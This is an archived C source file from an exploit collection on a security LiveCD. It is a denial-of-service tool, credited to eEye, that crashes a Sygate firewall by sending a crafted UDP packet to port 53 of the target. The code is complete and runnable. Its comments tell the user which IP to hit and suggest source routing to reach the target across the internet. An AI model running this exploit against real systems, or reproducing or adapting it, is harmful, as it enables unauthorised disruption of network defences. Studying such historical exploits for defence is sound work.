home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / sygate / sygate.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  988b  |  36 lines

  1. //Sygate Crash by: marc@eeye.com (April-00)
  2. //http://www.eEye.com
  3. //Will crash Sygate (http://www.sygate.com/) when ran from the internal LAN.
  4. //Play with source routing to get it to work across the internet.
  5. //Just hit the Internal IP of the Sygate machine.
  6.  
  7. #include <stdio.h>
  8. #include <arpa/inet.h>
  9.  
  10. int main (int argc, char **argv)
  11. {
  12.         int SockFD, addrlen, bsent;
  13.         struct sockaddr_in UDPSock;
  14.         char bomb[]= "changeiscoming";
  15.  
  16.         printf("Sygate Crash by: marc@eeye.com\n");
  17.         printf("http://www.eEye.com\n\n");
  18.  
  19.         if(argc<2){
  20.                 printf("Usage: %s [server]\n",argv[0]);
  21.                 exit(1);
  22.         }
  23.  
  24.         SockFD=socket(AF_INET, SOCK_DGRAM, 0);
  25.  
  26.         UDPSock.sin_family=AF_INET;
  27.         UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
  28.         UDPSock.sin_port=htons(53);
  29.  
  30.         bsent=sendto(SockFD,&bomb,13,0,(struct sockaddr *) &UDPSock,
  31. sizeof(struct sockaddr_in));
  32.  
  33.         printf("Sent Crash.\nBytes Sent: %i\n",bsent);
  34. }
  35.  
  36.